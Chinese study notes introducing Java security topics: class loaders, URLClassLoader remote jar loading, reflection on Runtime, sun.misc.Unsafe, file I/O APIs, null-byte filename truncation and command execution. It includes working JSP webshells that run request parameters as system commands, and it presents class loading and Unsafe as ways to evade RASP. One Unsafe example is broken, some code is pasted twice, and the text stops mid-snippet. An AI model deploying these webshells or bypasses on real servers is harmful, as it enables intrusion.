java安全入门

javap和hexdump

Javap 反编译 常用参数

-p 显示所有类和成员
-l 输出行号和本地变量表
-c 对代码进行反汇编

Hexdump

-C 查看二进制文件和代码

ClassLoader

一切的Java类都必须经过,JVM项目加载后才能运行,而ClassLoader的主要作用是Java文件的加载

JVM加载器中,自上而下分别有

  • Bootstrap ClassLoader 引导类加载器
  • Extension Classloader 扩展类加载器
  • APP ClassLoader 系统类加载器 (默认)

如果类加载时,我们不指定类加载器的情况,默认会使用AppClassLoader

ClassLoader,getSystemClassLoader() 返回的系统加载器也是AppClassLoader()

但是要注意,我们可能在获取一个类加载器的时候,返回一个NULL

如:java.io.File.class.getClassLoader将返回一个null对象,因为java.io.File类在JVM初始化的时候会被Bootstrap 所加载,(该类加载器实现与JVM底层,采用C++编写),我们在尝试获取Bootstrap ClassLoader类加载器所加载的类的ClassLoader时候都会返回一个NULL

ClassLoader 类有如下的核心方法:

  1. loadClass:加载指定的java类
  2. findClass:查找指定的java类
  3. findLoaderClass:查找JVM已经加载过的类
  4. defineClass:定义一个java类
  5. resolveClass:链接指定的java类

java类动态加载方式

  • 显式:Java反射,ClassLoader来动态加载
  • 隐式:方法名或者new类实例。
//反射加载TestHelloWorld示例
Class.forName("com.sec.classloader.TestHrlloWorld");
//ClassLoader加载TestHelloWorld实例
this.getclass().getClassLoader().loadClass("com.sec.classloader.TestHrlloWorld");
  • Class.forName("类名"):默认会初始化被加载类的静态属性和方法
  • ClassLoader.loadClass:默认不会初始化类方法

 

 

加载流程

ClassLoader加载com.sec.classloader.TestHrlloWorld类的重要流程如下

  1. ClassLoader会调用public Class<?> loadClass(String name)方法加载com.sec.classloader.TestHrlloWorld这个类
  2. 调用findLoadedClass方法检查TestHelloWorld类是否已经初始化,如果JVM已经初始化过该类,直接使用返回类对象
  3. 如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器)),就使用父类加载器,否则使用JVM的Bootstrap ClassLoader加载
  4. 如果无法找到,那么调用自身的findClass方法,尝试加载该类
  5. 如果当前的ClassLoader没有重写findClass的方法,那么直接返回类加载失败异常,如果当前类重写了findClass的方法,并且通过传入的路径找到了对应的类字节码,那么,那么应该调用defineClass去JVM中注册这个类
  6. 如果调用loadClass时候传入的resolve参数为true,那么还需要调用resolveClass方法去链接类,默认为false
  7. 返回一个被JVM加载后的java.lang.Class的对象

自定义ClassLoader

java.lang.ClassLoader是所有的类加载器的父类,有非常多的子类加载器,比如我们用于加载jar包的java.net.URLClassLoader其本身通过继承java.lang.ClassLoader类,重写了findClass方法从而实现了加载目录class文件甚至是远程资源文件。


现在用来尝试写一个加载类器来加载自定义的字节码,并调用hello方法

如果com.sec.classloader.TestHelloWorld类存在的情况下,我们可以使用如下代码即可实现调用hello方法并输出:

TestHelloWorld t = new TestHelloWorld();
String str = t.hello();
System.out.println(str);

但是,如果不在我们的classpath中,我们可以通过自定义的类加载器重写findClass方法,然后在调用defineClass的时候,传入该类的字节码,最后通过反射机制就可以调用TestHelloWorld类的hello方法了。

package com.anbai.sec.classloader;

import java.lang.reflect.Method;

/**
 * Creator: yz
 * Date: 2019/12/17
 */
public class TestClassLoader extends ClassLoader {

    // TestHelloWorld类名
    private static String testClassName = "com.anbai.sec.classloader.TestHelloWorld";

    // TestHelloWorld类字节码
    private static byte[] testClassBytes = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,
            16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
            1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,
            101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,
            114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,
            32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,
            115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,
            116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,
            0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,
            1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,
            0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,
            0, 0, 0, 2, 0, 12
    };

    @Override
    public Class<?> findClass(String name) throws ClassNotFoundException {
        // 只处理TestHelloWorld类
        if (name.equals(testClassName)) {
            // 调用JVM的native方法定义TestHelloWorld类
            return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
        }

        return super.findClass(name);
    }

    public static void main(String[] args) {
        // 创建自定义的类加载器
        TestClassLoader loader = new TestClassLoader();

        try {
            // 使用自定义的类加载器加载TestHelloWorld类
            Class testClass = loader.loadClass(testClassName);

            // 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();
            Object testInstance = testClass.newInstance();

            // 反射获取hello方法
            Method method = testInstance.getClass().getMethod("hello");

            // 反射调用hello方法,等价于 String str = t.hello();
            String str = (String) method.invoke(testInstance);

            System.out.println(str);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测,也可以用于加密重要的Java类字节码(只能算弱加密了)。

RASP(Runtime application self-protection)运行时应用自我保护

https://security.tencent.com/index.php/blog/msg/166https://security.tencent.com/index.php/blog/msg/166

native
凡是带了native关键字的,说明java的作用范围达不到了,回去调用底层C语言的库
  1. 会进入本地方法栈
  2. 调用本地方法本地接口[ `JNI]
  3. JNI作用:扩展java使用,融合不同的编程语言为java所用,最初:C,C++
  4. 他在内存区域中,专门开辟了一块标记区域,Native method stack,登记native方法。
  5. 在最终执行的时候,加载本地方法库中的方法通过JNI
  6. java程序驱动打印机,管理系统

URLClassLoader

URLClassLoader继承了ClassLoaderURLCLassLoader提供了远程加载资源的能力,在写payload或者webshell的时候,我们可以使用这个特性来加载远程的jar,实现远程的方法调用。


例子

package URLClassLoader;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

/**
 * Creator: yz
 * Date: 2019/12/18
 */
public class TestURLClassLoader {

    public static void main(String[] args) {
        try {
            // 定义远程加载的jar路径
            URL url = new URL("http://127.0.0.1/cmd/CMD.jar");

            // 创建URLClassLoader对象,并加载远程jar包
            URLClassLoader ucl = new URLClassLoader(new URL[]{url});

            // 定义需要执行的系统命令
            String cmd = "whoami";

            // 通过URLClassLoader加载远程jar包中的CMD类
            Class cmdClass = ucl.loadClass("CMD");

            // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
            Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

            // 获取命令执行结果的输入流
            InputStream           in   = process.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[]                b    = new byte[1024];
            int                   a    = -1;

            // 读取命令执行结果
            while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            }

            // 输出命令执行结果
            System.out.println(baos.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

运行成功截图

 其中,cmd.jar包中就一个CMD.class文件,内容如下:

import java.io.IOException;

/**
 * Creator: yz
 * Date: 2019/12/18
 */
public class CMD {

    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }

}

关于IDEA打包生成jar包,文章如下

Intellij Idea 将java项目打包成jar,cmd运行该jar_望穿秋水见伊人的博客-CSDN博客_idea把java项目打成jar包

java反射机制

  • 是java重要的动态特性,也是java各种框架底层的实现灵魂
  • 通过反射我们可以获取到,任何成员类的成员方法Method,成员变量Fields,构造方法Constructors等信息,还可以通过动态创建java实例

获取Class对象

普通类型

Java反射操作的是java.lang.Class对象,所以我们需要先想办法获取到Class对象,通常我们有如下几种方式获取一个类的Class对象。

  • 类名.class

com.sec.classloader.TestHelloWorld.class

  • Class.forName("类名")

Class.forName("com.sec.classloader.TestHelloWorld")

  • ClassLoader.loadClass("类名")

ClassLoader.loadClass("com.sec.classloader.TestHelloWorld")

数组类型

  • Class<?> doubleArray = Class.forName("[D");//相当于double[].class
  • Class<?> cStringArray = Class.forName("[[Ljava.lang.String;");// 相当于String[][].class

获取runtime方法的对象的几种方法

  • String className = "java.lang.Runtime"
  • Class runtimeClass1 = Class.forName(className);
  • Class runtimeClass2 = java.lang.Runtime.class;
  • Class runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);

反射内部类的时候,需要$来代替.,如果,com.Test有一个叫做Hello的内部类时,我们需要用$来进行替换,最后为com.Test$Hello

反射Runtime执行本地命令的代码片段

java.lang.Runtime因为有一个exec方法可以执行本地命令

不使用反射执行本地代码

这里需要导入Download org.apache.commons.io.jar : org.apache.commons « o « Jar File Download,这个jar包。

// 输出命令执行结果
System.out.println(IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream(), "UTF-8"));

反射Runtime执行本地命令代码片段

package CMD;

import org.apache.commons.io.IOUtils;

import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Test1 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        // 获取Runtime类对象
        Class runtimeClass1 = Class.forName("java.lang.Runtime");
        String cmd="ipconfig";

// 获取构造方法
        Constructor constructor = runtimeClass1.getDeclaredConstructor();
        constructor.setAccessible(true);

// 创建Runtime类示例,等价于 Runtime rt = new Runtime();
        Object runtimeInstance = constructor.newInstance();

// 获取Runtime的exec(String cmd)方法
        Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);

// 调用exec方法,等价于 rt.exec(cmd);
        Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);

// 获取命令执行结果
        InputStream in = process.getInputStream();

// 输出命令执行结果
        System.out.println(IOUtils.toString(in, "gb2312"));
    }
}

优化一下逻辑流程,其实可以写成这样

package Shell;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

/**
 * @author Kern
 * @Title: Foo
 * @ProjectName springmvcdemo
 * @Description: TODO
 * @date 2019/9/1916:28
 */
public class RunTimeToWindowCommand {


    public static void main(String[] args) throws Exception {
        System.out.println(exec("ipconfig"));
    }


    private static String exec(String... command) throws Exception {
        String[] cmd = command;
        StringBuilder out = new StringBuilder();
        BufferedReader reader = null;

        InputStream in = null;
        try {
            Process process = Runtime.getRuntime().exec(cmd);
            in = process.getInputStream();
            reader = new BufferedReader(new InputStreamReader(in,"gb2312"));
            String line;
            while ((line = reader.readLine()) != null) {
                out.append(line + "\n");
            }
            process.waitFor();
        } finally {
            if (reader != null) {
                reader.close();
            }
        }
        String console = out.toString();
        return console;
    }
}

反射调用的基本流程如下

  1. 反射获取Runtime类对象

Class.forName("java.lang.Runtime")

  1. 使用Runtime类的Class对象获取Runtime类的无参数构造方法,getDeclaredConstruction(),因为Runtime的构造方法是private的,我们无法直接调用,所以需要修改反射方法的权限constructor,setAccessible(true)
  2. 获取Runtime类的exec方法,

runtimeClass1.getMetgod("exec",String.class)

  1. 调用exec()方法,

runtimeMethod.invoke(runtimeInsstance.cmd)

Process类:进程类
Invoke 方法 第一参数为表示要调用哪个对象的方法,第二个参数表示要向方法中传入的参数

注意

  1. Runtime类是一个私有的构造方法,不能直接被调用,即不能使用

Runtime rt = new Runtime();

  1. 上述中,我们借助了反射机制,默认修改了Runtime方法的访问权限,从而间接创建了Runtime对象
  2. runtimeClass1.getDeclaredConstructorruntimeClass1.getConstructor都可以获取到类构造方法,区别在于,后者无法获取到私有方法,所以一般在获取某个类的构造方法后,我们会使用前者去获取构造方法。如果构造方法有一个或者多个参数的情况下,我们应该在获取构造方法的时候,传入相应的参数数组类型,如:class.getDeclaredConstructor(String.class,String.class)
  3. 获取到Constructor以后,我们可以通过constructor.newInstance来创建实例,如果有参数的情况下,我们应该传入对应的参数值,如:constructor.newInstance("admin","123456"),当我们没有访问构造方法权限时,我们应该调用constructor.setAccessible(true)修改访问权限

反射调用类方法

Class对象提供了一个获取类的所有的成员方法的方法,也可以通过方法名和类型参数去指定成员方法

获取当前类所有的成员方法

Method[] method = getClass().getDeclaredMethods()

获取当前类指定的成员方法

Method method = getClass().DeclaredMethod("方法名");

Method method = getClass().DeclaredMethod("方法名",参数类型);

getMethodgetDeclaredMethod都能够获取到类成员方法,区别在于getMethod只能获取到当前类和父类的所有有权限的方法(如:public),而getDeclaredMethod能获取到当前类的所有成员方法(不包含父类)。

反射调用

获取到java.lang.reflect.Method对象,我们可以通过methodinvoke方法来调用类方法。

method.invoke(方法实例对象, 方法参数值,多个参数值用","隔开);

反射调用成员变量

Java反射不但可以获取类所有的成员变量名称,还可以无视权限修饰符实现修改对应的值。

获取当前类的所有成员变量

Field fields = getClass().getDeclaredField()

获取当前指定类的成员变量

Field fields = getClass().getDeclaredField("变量名")

getFieldgetDeclaredField的区别同getMethodgetDeclaredMethod

获取成员变量的值

Object obj = field.get(类实例对象)

修改成员变量值

field.set(类实例对象,修改后的值)

同理,当我们没有修改的成员变量权限时可以使用: field.setAccessible(true)的方式修改为访问成员变量访问权限。

如果遇到了被final关键字修饰的变量,我们需要先修改方法。

// 反射获取Field类的modifiers
Field modifiers = field.getClass().getDeclaredField("modifiers");

// 设置modifiers修改权限
modifiers.setAccessible(true);

// 修改成员变量的Field对象的modifiers值
modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);

// 修改成员变量值
field.set(类实例对象, 修改后的值);

反射总结

Java反射机制是Java动态性中最为重要的体现,利用反射机制我们可以轻松的实现Java类的动态调用。Java的大部分框架都是采用了反射机制来实现的(如:Spring MVCORM框架等),Java反射在编写漏洞利用代码、代码审计、绕过RASP方法限制等中起到了至关重要的作用。

Sun.misc.Unsafe

sun.misc.Unsafejava的底层API(仅限java内部对象使用,反射可调用)。Unsafe提供了非常底层的内存、CAS、线程调度、类、对象等操作、Unsafe正如它的名字一样它提供的几乎所有的方法都是不安全的。

如何获取Unsafe对象

Unsafe是Java内部API,外部是禁止调用的,在编译Java类时如果检测到引用了Unsafe类也会有禁止使用的警告:Unsafe是内部专用 API, 可能会在未来发行版中删除。

import sun.reflect.CallerSensitive;
import sun.reflect.Reflection;

public final class Unsafe {

    private static final Unsafe theUnsafe;

    static {
        theUnsafe = new Unsafe();
        省去其他代码......
    }

    private Unsafe() {
    }

    @CallerSensitive
    public static Unsafe getUnsafe() {
        Class var0 = Reflection.getCallerClass();
        if (var0.getClassLoader() != null) {
            throw new SecurityException("Unsafe");
        } else {
            return theUnsafe;
        }
    }

    省去其他代码......
}

上述可以看到,Unsafe是一个不能被继承的类,且不能直接通过new的方式直接去创建实例,如果通过getUnsafe方法获取Unsafe实例还会检查类加载器,,默认只允许Bootstrap Classloader调用。

既然无法直接通过Unsafe.getUnsafe()的方式调用,那么可以使用反射的方式去获取Unsafe类实例。

反射获取Unsafe类实例代码片段:

// 反射获取Unsafe的theUnsafe成员变量
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");

// 反射设置theUnsafe访问权限
theUnsafeField.setAccessible(true);

// 反射获取theUnsafe成员变量值
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

当然我们也可以用反射创建Unsafe类实例的方式去获取Unsafe对象:

// 获取Unsafe无参构造方法
Constructor constructor = Unsafe.class.getDeclaredConstructor();

// 修改构造方法访问权限
constructor.setAccessible(true);

// 反射创建Unsafe类实例,等价于 Unsafe unsafe1 = new Unsafe();
Unsafe unsafe1 = (Unsafe) constructor.newInstance();

allocateInstance无视构造方法创建类实例

UnSafeTest代码的片段

public class UnSafeTest {

   private UnSafeTest() {
      // 假设RASP在这个构造方法中插入了Hook代码,我们可以利用Unsafe来创建类实例
      System.out.println("init...");
   }

}

用Unsafe创建UnsafeTest对象

// 使用Unsafe创建UnSafeTest类实例
UnSafeTest test = (UnSafeTest) unsafe1.allocateInstance(UnSafeTest.class);

Google的JSON库在JSON反序列化的时候就使用这个方式来创建类实例,在渗透测试中也会经常遇到这样的限制,比如RASP限制了java.io.FileInputStream类的构造方法导致我们无法读文件或者限制了UNIXProcess/ProcessImpl类的构造方法导致我们无法执行本地命令等。

defineClass直接调用JVM创建类对象

Unsafe提供了一个通过传入类名、类字节码的方式就可以定义类的defineClass方法:

public native Class defineClass(String var1, byte[] var2, int var3, int var4);

public native Class<?> defineClass(String var1, byte[] var2, int var3, int var4, ClassLoader var5, ProtectionDomain var6);

使用Unsafe**创建**TestHelloWorld 对象

package Unsafe;

import jdk.internal.misc.Unsafe;

import java.security.CodeSource;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;

public class helloWorld {
    private static final Object TEST_CLASS_NAME = null;
    private static final Object TEST_CLASS_BYTES = null;
    // 获取系统的类加载器
    ClassLoader classLoader = ClassLoader.getSystemClassLoader();

    // 创建默认的保护域
    ProtectionDomain domain = new ProtectionDomain(
            new CodeSource(null, (Certificate[]) null), null, classLoader, null
    );

    private Unsafe unsafe1;
    // 使用Unsafe向JVM中注册com.anbai.sec.classloader.TestHelloWorld类
    Class helloWorldClass = unsafe1.defineClass(
            TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length, classLoader, domain
    );
}package Unsafe;

import jdk.internal.misc.Unsafe;

import java.security.CodeSource;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;

public class helloWorld {
    private static final Object TEST_CLASS_NAME = null;
    private static final Object TEST_CLASS_BYTES = null;
    // 获取系统的类加载器
    ClassLoader classLoader = ClassLoader.getSystemClassLoader();

    // 创建默认的保护域
    ProtectionDomain domain = new ProtectionDomain(
            new CodeSource(null, (Certificate[]) null), null, classLoader, null
    );

    private Unsafe unsafe1;
    // 使用Unsafe向JVM中注册com.anbai.sec.classloader.TestHelloWorld类
    Class helloWorldClass = unsafe1.defineClass(
            TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length, classLoader, domain
    );
}

这个实例适用于java8以前的版本,如果java8中应该使用需要传类加载器和保护域的那个方法。Java 11开始Unsafe类已经把defineClass方法移除了(defineAnonymousClass方法还在)

JAVA 文件系统

JAVA io 文件系统

Java 抽象出了一个叫做文件系统的对象:java.io.FileSystem,不同的操作系统有不一样的文件系统,例如:WindowsUnix就是两种不同的文件系统。

  • java.io.UnixFileSystem
  • java.io.WinNTFileSystem

java.io.FileSystem是一个抽象类,它抽象了对文件的操作,不同操作系统版本的JDK会实现其抽象的方法从而也就实现了跨平台的文件的访问操作。

 

示例中的java.io.UnixFileSystem最终会通过JNI调用native方法来实现对文件的操作:

 

但是有几点

  • 不是所有的文件操作都在java.io.FileSystem中定义,文件的读物最终调用的是java.io.FileInputStream#read0,readBytesjava.io.RandomAccessFile#read0,readBytes,而写文件调用的是,java.io.FileOutStream#writeBytes,java.io.RandomAccessFile#write0
  • java有两类文件系统的API,一类是基于阻塞模式IO的文件系统,另一类是JDK7+基于NIO.2的文件系统
Java NIO.2文件系统
java.nio.file.spi.FileSystemProvider对文件的封装和 java.io.FileSystem同理。
NIO的文件操作在不同的系统的最终实现类也是不一样的,比如Mac的实现类是: sun.nio.fs.UnixNativeDispatcher,而Windows的实现类是 sun.nio.fs.WindowsNativeDispatcher
合理的利用NIO文件系统这一特性我们可以绕过某些只是防御了 java.io.FileSystemWAF/ RASP

Java IO/NIO 多种读写方式

我们通常读写文件都是使用的阻塞模式,与之对应的也就是java.io.FileSystemjava.io.FileInputStream类提供了对文件的读取功能,Java的其他读取文件的方法基本上都是封装了java.io.FileInputStream类,比如:java.io.FileReader

使用FileInputStream的DEMO

package Input;

import java.io.*;

public class FileInput {
    public static void main(String[] args) throws IOException {
        File file = new File("src/Input/1.txt");
        //打开文件对象并建立输入流
        FileInputStream fis  = new FileInputStream(file);
        //定义每次输入流取得的字节对象
        int a=0;
        //定义缓冲区大小
        byte[] bytes = new byte[1024];
        //创建二进制对象输出流
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        //循坏读取文件内容
        while((a=fis.read(bytes))!=-1){
            //截取缓冲区数组的内容,(bytes,0,a)其中的0表示从bytes数组的下标0开始截取
            //a表示输入流截取到的对象
            out.write(bytes,0,a);
        }
        System.out.println(out.toString());
    }
}

 FileOutputStream

package Input;

import java.io.*;
import java.nio.charset.StandardCharsets;

public class OutPut {
    public static void main(String[] args) throws IOException {
        File file = new File("src/Input/1.txt");
        //定义写入的文件内容
        String content = "Hello World";
        //创建FileOutputStream对象
        FileOutputStream fos = new FileOutputStream(file,true);
        //写入内容二进制到文件
        fos.write(content.getBytes(StandardCharsets.UTF_8));
        fos.write("\r\n".getBytes());//换行
        fos.flush();
        fos.close();
    }

}

 但是这样写会把原来的文件覆盖掉,如果想要追加的话,追加一个true参数即可。

FileOutputStream fos = new FileOutputStream(file,true);
fos.write("\r\n".getBytes());//换行

RandomAccessFile

Java提供了一个非常有意思的的类java.io.RandomAccessFile,这个类可以写文件,也可以读文件。

读文件

package Input;

import java.io.*;

public class RandomAccessFileDemo {
    public static void main(String[] args) throws IOException {
        File file = new File("src/Input/1.txt");

            try {
                // 创建RandomAccessFile对象,r表示以只读模式打开文件,一共有:r(只读)、rw(读写)、
                // rws(读写内容同步)、rwd(读写内容或元数据同步)四种模式。
                RandomAccessFile raf = new RandomAccessFile(file,"r");
                //定义每次输入流读取到的字节对象
                int a=0;
                //定义缓冲区大小
                byte[] bytes = new byte[1024];
                //创建二进制对象输出流
                ByteArrayOutputStream out = new ByteArrayOutputStream();
                //循环读取文件
                while((a=raf.read(bytes))!=-1){
                    // 截取缓冲区数组中的内容,(bytes, 0, a)其中的0表示从bytes数组的
                    // 下标0开始截取,a表示输入流read到的字节数。
                    out.write(bytes, 0, a);
                }
                System.out.println(out.toString());
            } catch (FileNotFoundException e) {
                e.printStackTrace();
            }
        }

    }

任意文件读取特性体现在以下方法:

// 获取文件描述符
public final FileDescriptor getFD() throws IOException 

// 获取文件指针
public native long getFilePointer() throws IOException;

// 设置文件偏移量
private native void seek0(long pos) throws IOException;

写文件

public class RandomOut {
    public static void main(String[] args) throws IOException {
        File file = new File("src/Input/1.txt");
        //定义写入的内容
        String content = "Hello";
        RandomAccessFile raf = new RandomAccessFile(file,"rw");
        //写入二进制文件
        raf.write(content.getBytes(StandardCharsets.UTF_8));
        raf.close();
    }
}

暂时没找到,怎么进行文件追加

FileSystemProvider

java.nio.file.FilesJDK7以来的一种非常便捷的API,其底层是调用了java.nio.file.spi.FileSystemProvider来实现对文件的读写。最为底层的实现类是sun.nio.ch.FileDispatcherImpl#read0

写文件

package Input;

import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class FileSystemDemo {
    public static void main(String[] args) throws IOException {
//        File file  = new File("src/input/1.txt");
//        Path path1 = file.toPath();

        //定义文件读取的路径
        Path path = Paths.get("src/Input/1.txt");
        byte[] bytes = Files.readAllBytes(path);
        System.out.println(new String(bytes));

    }
}

基于NIO的文件读取逻辑是:打开FileChannel->读取Channel内容

打开FileChannel的调用链是:

sun.nio.ch.FileChannelImpl.<init>(FileChannelImpl.java:89)
sun.nio.ch.FileChannelImpl.open(FileChannelImpl.java:105)
sun.nio.fs.UnixChannelFactory.newFileChannel(UnixChannelFactory.java:137)
sun.nio.fs.UnixChannelFactory.newFileChannel(UnixChannelFactory.java:148)
sun.nio.fs.UnixFileSystemProvider.newByteChannel(UnixFileSystemProvider.java:212)
java.nio.file.Files.newByteChannel(Files.java:361)
java.nio.file.Files.newByteChannel(Files.java:407)
java.nio.file.Files.readAllBytes(Files.java:3152)
com.sec.filesystem.FilesDemo.main(FilesDemo.java:23)

文件的读取调用链是:

sun.nio.ch.FileChannelImpl.read(FileChannelImpl.java:147)
sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:65)
sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:109)
sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:103)
java.nio.file.Files.read(Files.java:3105)
java.nio.file.Files.readAllBytes(Files.java:3158)
com.sec.filesystem.FilesDemo.main(FilesDemo.java:23)

读文件

package Input;

import java.io.File;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;

public class FileSystemInputDemo {
    public static void main(String[] args) throws IOException {
        Path path = Paths.get("src/Input/1.txt");
        String coentent = "Hello 1111111";
        Files.write(path,coentent.getBytes(StandardCharsets.UTF_8), StandardOpenOption.APPEND);
    }
}

当我们需要追加写的时候,可以使用StandardOpenOption.APPEND参数,如果是覆盖重写,直接删除该参数即可。

java文件名空字节截断漏洞

空字节截断漏洞在诸多编程语言中都存在。究其根本是Java在调用文件系统(C实现)读写文件时导致的漏洞,并不是Java本身的安全问题。不过好在高版本的JDK在处理文件时已经把空字节文件名进行了安全检测处理。

java.io.File中加了一个方法,isInvalid方法,专门检测文件名是否包含了空字节。

/**
 * Check if the file has an invalid path. Currently, the inspection of
 * a file path is very limited, and it only covers Nul character check.
 * Returning true means the path is definitely invalid/garbage. But
 * returning false does not guarantee that the path is valid.
 *
 * @return true if the file path is invalid.
 */
 final boolean isInvalid() {
     if (status == null) {
         status = (this.path.indexOf('\u0000') < 0) ? PathStatus.CHECKED
                                                    : PathStatus.INVALID;
     }
     return status == PathStatus.INVALID;
 }

修复前(Java SE 7 Update 25)和修复后(Java SE 7 Update 40)的对比会发现Java SE 7 Update 25中的java.io.File类中并未添加\u0000的检测。

而JDK8发布时间在JDK7修复以后所以并不受此漏洞影响。

package NullBytes;

import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;

public class FileNullBytes {
    public static void main(String[] args) throws IOException {
        String filename = "src/Input/1.txt/u0000.jpg";
        FileOutputStream fos = new FileOutputStream(new File(filename));
        fos.write("Test".getBytes(StandardCharsets.UTF_8));
        fos.flush();
        fos.close();
    }
}

 

JDK1.7.0.25测试成功截断文件名,但是使用JDK1.7.0.80测试写文件截断时抛出java.io.FileNotFoundException: Invalid file path异常。

利用场景

利用空字节截断的场景,最常见的就是文件上传时候,后端使用了endWith,正则使用.jpg|png|gif)$验证文件名后缀合法性且最终文件名,最终原样保存。同理,文件删除,(delete),获取文件路径(getCanonicalPath),创建文件(createNewFile),文件重命令也一样。

修复方法

最简单直接的方式就是升级JDK,如果担心升级JDK出现兼容性问题可在文件操作时检测下文件名中是否包含空字节,如JDK的修复方式:fileName.indexOf('\u0000')即可。

JAVA本地命令执行

Runtime命令执行

在java中我们经常用java.lang.Runtime类的exec方法来执行系统的本地命令

在jsp中执行cmd命令的示例

<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>

这里遇到一点问题,就是在不传入参数的时候,会报一个状态码是500的错误,但是日志回显是和Servlet的错误。

其实是没有传入参数的一个错误,,这里补上参数就能执行命令,然后页面会回显类似于这样的东西

这里ylg师傅给了一个新的马:

<%
    if(request.getParameter("i")!=null){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%><%
    if(request.getParameter("i")!=null){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

 

IO流,将他的回显输出

Runtime命令执行的调用链

java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)
org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)

通过整个调用链的逻辑我们可以清楚看到,exec方法不是命令执行的最终点,执行逻辑大致是

  1. Runtime.exec(xxx)
  2. java.lang.ProcessBuilder.start()
  3. New java.lang.UNIXProcess(xxx)
  4. UNIXProcess 构造方法中调用了forkAndExec(xxx)的native方法
  5. forkAndExec调用操作系统级别fork->exec(*nix)/CreateProcess(Windows)执行命令并返回fork/CreateProcessPID

反射Runtime命令执行

 

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>

<%
    String str = request.getParameter("str");

    // 定义"java.lang.Runtime"字符串变量
